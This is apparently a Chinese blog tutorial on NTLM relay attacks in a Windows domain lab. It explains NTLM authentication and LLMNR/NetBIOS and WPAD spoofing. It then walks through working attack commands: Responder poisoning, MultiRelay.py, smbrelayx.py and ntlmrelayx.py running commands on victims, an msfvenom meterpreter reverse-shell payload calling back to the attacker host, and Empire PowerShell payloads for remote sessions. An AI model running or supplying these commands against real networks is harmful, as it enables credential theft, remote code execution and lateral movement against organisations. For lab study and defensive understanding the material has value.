目录

基础知识

NTLM认证过程

NTLM中继攻击原理

获得Net-NTLM Relay的思路

利用LLMNR和NetBIOS欺骗获得Net-NTLMHash

利用WPAD劫持获得Net-NTLMHash

SMB Relay(SMB中继)攻击

攻击演示

Responder中的MultiRelayx.py

Impacket中的smbrelayx.py

Metasploit中的smb_relay模块(ms08-068)

Impcaket中的ntlmrelayx.py

Ending......


在上一篇文章中《内网渗透研究:LLMNR和NetBIOS欺骗攻击分析》中,我们利用LLMNR/NetBIOS劫持成功获得了目标主机的Net-NTLM Hash。我们获得了Net-NTLM Hash后首先想到的就是爆破,但是除非你有一个强大的字典,否则你很难得到明文密码。由于Net-NTLM Hash不像NTLM-Hash,我们不能用Net-NTLM Hash来进行PTH攻击。那么还有什么办法来利用Net-NTLM Hash呢?我们不妨试一下NTLM Relay攻击。

基础知识

由于该Relay攻击要涉及到NTLM认证和Net-NTLM Hash,所以我们先来了解一下NTLM认证过程和什么是Net-NTLM Hash。

NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。

Net-NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。在下面的NTLM认证过程中你可以知道Net-NTLM Hash产生的过程。

NTLM认证过程

1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。

2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。

3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。

4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。

如果是在域环境中,那么认证过程会经过域控制器:

4. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。

5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。

服务器根据DC返回的结果,对客户端进行回复

在这里,如果我们获得了NTLM-Hash,那么我们可以直接进行PTH攻击,但不能用来Relay;而如果我们获得了Net NTLM-Hash,那么我们可以对其进行爆力破解得到明文,也可以利用Net NTLM-Hash进行中继攻击。

NTLM中继攻击原理

NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2,NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay攻击。

在这个NTLM Relay中,我们就是要将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。

获得Net-NTLM Relay的思路

为了重放这个Net-NTLMhash,首先我们要做的就是获取这个Net-NTLMhash。

由于SMB、HTTP、LDAP、MSSQL等协议都可以携带NTLM认证的三类消息,所以只要是使用SMB、HTTP、LDAP、MSSQL等协议来进行NTLM认证的程序,都可以尝试向攻击者发送Net-NTLMhash从而让攻击者截获用户的Net-NTLMhash,也就是说我们可以通过这些协议来进行攻击。下面总结几个获取思路:

利用LLMNR和NetBIOS欺骗获得Net-NTLMHash

前文《内网渗透研究:LLMNR和NetBIOS欺骗攻击分析》中我们讲到Windows系统名称解析顺序为:

本地hosts文件(%windir%\System32\drivers\etc\hosts)

DNS缓存/DNS服务器

链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)

也就是说,如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。当用户输入不存在、包含错误或者DNS中没有的主机名时,通过工具(responder)监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似,我们可以让攻击者作中间人,截获到客户端的Net-NTLMHash。

(对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以攻击者可以模拟SMB服务器从而截获hash)

利用WPAD劫持获得Net-NTLMHash

WPAD 网络代理自动发现协议是一种客户端使用DCHP、DNS、LLMNR、NBNS协议来定位一个代理配置文件(PAC)URL的方法。WPAD通过让浏览器自动发现代理服务器,查找存放PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。

一个典型的劫持方式是利用LLMNR/NBNS欺骗来让受害者从攻击者获取PAC文件,PAC文件指定攻击者就是代理服务器,然后攻击者就可以劫持受害者的HTTP流量,在其中插入任意HTML标签从而获得用户的Net-NTLMHash。

当你的浏览器设置为 “自动检测代理设置” 的情况下,它就会下载攻击者事先准备好的wpad.dat文件,这样一来,客户端的流量就会经过攻击者的机器。

Responder可以创建一个假WPAD服务器,并响应客户端的WPAD名称解析。 然后客户端请求这个假WPAD服务器的wpad.dat文件。

 responder -I eth0 -r on -v -F on -w on 

Responder创建一个身份验证屏幕,并要求客户输入他们在域中使用的用户名和密码。

此时,员工没有安全意识的话就会写入在域中使用的用户名和密码。 最后,我们可以看到他们的Net-NTLM Hash。

此外,我们还可以利用传统web漏洞,如XSS、文件包含等获取net-NTLM hash(传送门)。

还有就是metasploit中的auxiliary/docx/word_unc_injector会创建一个带有unc路径的word文件,当该文件被打开的时候kali就会收到NTLMv2 hash。

SMB Relay(SMB中继)攻击

这里我们演示SMB协议的Relay攻击,这是最直接最有效的方法。可以直接控制该服务器(包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等)。

这里主要有两种场景

详情见:https://www.anquanke.com/post/id/194069#h2-4

1.工作组环境

这个实用性比较差。在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码Hash只是保存在自己的SAM文件中,这个时候Relay到别的机器,除非两台机器的账号密码一样(如果账号密码一样,我为啥不直接pth呢),不然没有别的意义了,这个时候的攻击手段就是将机器reflect回机子本身。因此微软在ms08-068中对smb reflect到 smb 做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。

自从MS08-068漏洞修复之后无法再将Net-NTLM哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了SMB签名。

链接:https://www.jianshu.com/p/c7d8e7d9c03c

2.域环境

域环境底下域用户的账号密码Hash保存在域控的 ntds.dit里面。如下没有限制域用户登录到某台机子,那就可以将该域用户Relay到别人的机子,或者是拿到域控的请求,将域控Relay到普通的机子,比如域管运维所在的机子。(为啥不Relay到其他域控,因为域内就域控默认开启smb签名)

攻击演示

测试环境:

攻击机kali:192.168.52.131

windows 7:192.168.52.143

windows server (DC):192.168.52.138

windows 2003:192.168.52.141

Responder中的MultiRelayx.py

我们在进行中继之前,先用responder工具包里面的RunFinger.py脚本扫描域内机器的SMB签名的开放情况:

可以看到域内主机的 SMB 签名都已禁用(false)了,接下来开始利用MultiRelay.py攻击,获得目标主机的shell:

 python MultiRelay.py -t <被攻击ip> -u ALL

现在 SMB 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下responder的配置文件 Responder.conf,不让其对 hash 进行抓取。将SMB和HTTP的On改为Off:

重启 Responder.py,准备毒化(这里responder的作用就是当访问一个不存在的共享路径,将名称解析降到LLMNR/NBNS时,来抓取网络中所有的LLMNR和NetBIOS请求并进行响应)

此时我们在DC(192.168.52.138)上随便传递一个SMB流量:

我们看到已经拿到了 192.168.52.143 的shell :

我们就可以对进行控制了:

Impacket中的smbrelayx.py

攻击者伪造一个恶意的SMB服务器,当内网中有机器Client1访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2 。

开始实战,用 smbrelayx.py 脚本来完成任务,用-c选项来在受害机192.168.52.143上面执行命令:

 ./smbrelayx.py -h <Client2 IP> -c Command

此时我们让Client1访问这个攻击者精心构造好的SMB服务器:

 net use \\192.168.52.131

此时,攻击者的smbrelayx.py脚本上就会发现命令成功执行了:

在实战中,我们会提前生成了一个 Metasploit 的 payload 并放置在当前目录下,然后用-e选项在目标主机上传并运行我们的payload

先生成一个metasploit木马:

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe

设置好msfconsoleexploit/multi/handler监听:

这里要注意,我们要设置set AutoRunScript migrate在成功得到session后自动迁移进程,如果没有自动迁移进程,那么在Removing file的时候,会话也随之关闭了。

然后执行smbrelayx.py脚本:

随后在Windows server 2008上执行net use \\192.168.138.131\c$来访问攻击者搭建的恶意smb服务:

此时攻击者的smbrelayx.py脚本上会有反应:

并且msfconsole上成功获得了192.168.52.143(windows 7)的会话:

Metasploit中的smb_relay模块(ms08-068)

执行exploit运行

随后在windows 2003的cmd中执行net use \\192.168.138.131\c$来访问攻击者搭建的恶意smb服务:

这时,攻击者msfconsole中就可以看到windows 2003反弹来的会话了:

(注意:Metasploit的SMBRelay只支持NTLMv1,所以在攻击一些机器时会出现“Failed to authenticate”的情况)

这个攻击手段就是将机器reflect回机子本身。然而微软在ms08-068中对smb reflect到 smb 做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。

Impcaket中的ntlmrelayx.py

ntlmrelayx.py 脚本可以直接用现有的 hash 去尝试重放指定的机器

 ./ntlmrelayx.py -t <指定的被攻击 IP> 

我们同样可以利用-c选项来在目标主机上面执行命令:

 ./ntlmrelayx.py -t smb://192.168.52.143 -c whoami -smb2support

然后只要使用其他方法诱导域管理员或普通域用户访问攻击机搭建的伪造HTTP或SMB服务,并输入用户名密码:

攻击者的ntlmrelayx.py上面即可显示成功在192.168.52.143上执行命令:

但在实战中,我们也可以利用-c选项来执行Empire生成的 powershell payload 并配合responder来进行攻击。

先用empire生成powershell的payload:

 ntlmrelayx.py -t 192.168.138.134 -c '生成的powershell脚本内容'

responder同样需要关闭 responder 的 smb 和 http,然后启动:

随后在Windows 8上执行net use \\whoami,产生任意smb流量

此时攻击者的ntlmrelayx.py脚本有了反应:

查看empire页面,已经成功获得了192.168.52.143的会话:

进入会话,可以执行命令:

Ending......

总之,这是一个拿域内主机的方法,在横向移动中利用还是挺不错的,可以直接控制域内主机,包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等。

参考:

https://mp.weixin.qq.com/s/_qnt5NVEiud3OyQmGhkfUA

https://www.freebuf.com/column/202842.html

https://www.jianshu.com/p/c7d8e7d9c03c

https://www.anquanke.com/post/id/194069#h2-4

内网渗透测试:NTLM Relay攻击分析相关推荐

  1. 内网渗透测试:内网横向移动基础总结

    内网渗透测试:内网横向移动基础总结 横向移动 在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围.通过此类手段 ...

  2. 螣龙安科笔记:内网渗透测试(三)

    经过前两篇文章的介绍,相信大家对于内网渗透测试的一些基础知识已经有了足够的了解,这篇文章就将带你一起来了解内网渗透测试的全过程. (四)内网渗透流程 1.渗透工具准备 1.1扫描工具 1.1.1主动扫 ...

  3. 内网渗透测试:内网信息收集与上传下载

    在之前的几节中,我们讲了隐藏通讯隧道技术的运用,那其实都是渗透测试的后话,接下来要讲的信息收集才是内网渗透的基础. 可以说内网渗透测试,其本质就是信息收集.信息收集的深度,直接关系到内网渗透测试的成败 ...

  4. 第一章 内网渗透测试基础

    本文章大部分内容来自于 <内网安全攻防:渗透测试实战指南>: https://item.jd.com/12743210.html 0x00 内网基础知识 内网也指局域网(Local Are ...

  5. 《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础

    目录 前言 一.内网基础知识 1.工作组 2.域 3.活动目录 (1)活动目录的功能 (2)DC和AD区别 4.安全域的划分 (1)DMZ (2)内网 5.域中计算机的分类 6.域内权限 (1)组 ( ...

  6. 内网渗透测试:Windows权限提升思路

    我的Freebuf:https://www.freebuf.com/author/MrAnonymous 我的博客:https://whoamianony.top/ 文章目录 Windows系统内核溢 ...

  7. 内网渗透测试:隐藏通讯隧道技术(上)

    什么是隧道? 在实际的网络中,通常会通过各种边界设备.软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断.那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式. ...

  8. 记一次内网渗透测试实训总结

    原文连接 前言 时间很快就来到了学期的最后一个月,和上学期一样,最后的几周是实训周,而这次实训恰好就是我比较喜欢的网络攻防,因为之前学过相关的知识,做过一些靶场,相比于其他同学做起来要快些,不过内网渗 ...

  9. vulnhub_内网渗透测试的记录——网络安全

    主要考察知识点 文件包含内网穿透命令上传弱口令更改权限HTTP协议HeaderElasticSearch-CVE暴力破解 网络拓扑 写完之后把靶机的网络拓扑也做了一下 写在之前 这次用的虚拟机是VM_ ...

最新文章

  1. 2022-2028年中国液体燃料行业市场研究及前瞻分析报告
  2. 只学python能找工作吗-只学Python能找到工作吗?老男孩Python视频教程
  3. 项目管理九大知识体系:
  4. 维度爆炸?Python实现数据压缩竟如此简单!
  5. php [ext/gd/gd.lo] error 1,关于PHP一些编译安装出现的错误总结
  6. 用html语言制作古诗网页,唐诗宋词网页设计.docx
  7. python编程例子-几个Python小案例,爱上Python编程!
  8. mp4 文件中的h264 avc1格式介绍
  9. Java家庭收支记账软件开发
  10. 《Dreamweaver CS6 完全自学教程》笔记 第十一章:模板和库
  11. python 主成分分析 (PCA)
  12. 上传图片保存到mysql数据库并在网页上显示
  13. 学设计的考PMP证书有用吗?
  14. 苹果8.1系统无服务器,iOS9强制降级iOS8教程
  15. 如何把EXCEL文本格式里的数字批量转成文本
  16. 单像后方交会、pnp问题迭代计算的数学原理
  17. 数码类评测:南卡第二代pencil电容触控笔
  18. pdfjs 字体新增_JS - PDF文件生成库jsPDF使用详解2(修改文字样式)
  19. 如何查询网站服务器类型
  20. 读代码比写代码难,真的?

热门文章

  1. python asyncio文件操作_Python asyncio文档阅读摘要
  2. FD.io/VPP — VPP 的软件架构
  3. 嵌入式Linux教程:安装VMware Tools VMware Tools显示灰色解决方法
  4. 新近爆出的runC容器逃逸漏洞,用户如何面对?
  5. 简述Linux 文件系统的目录结构
  6. 社区发现算法 - Fast Unfolding(Louvian)算法初探
  7. nginx进阶-动静分离,负载均衡
  8. Python的安装、pycharm的安装及设置
  9. 如何让热点图支持大数据
  10. POJ 1028: Web Navigation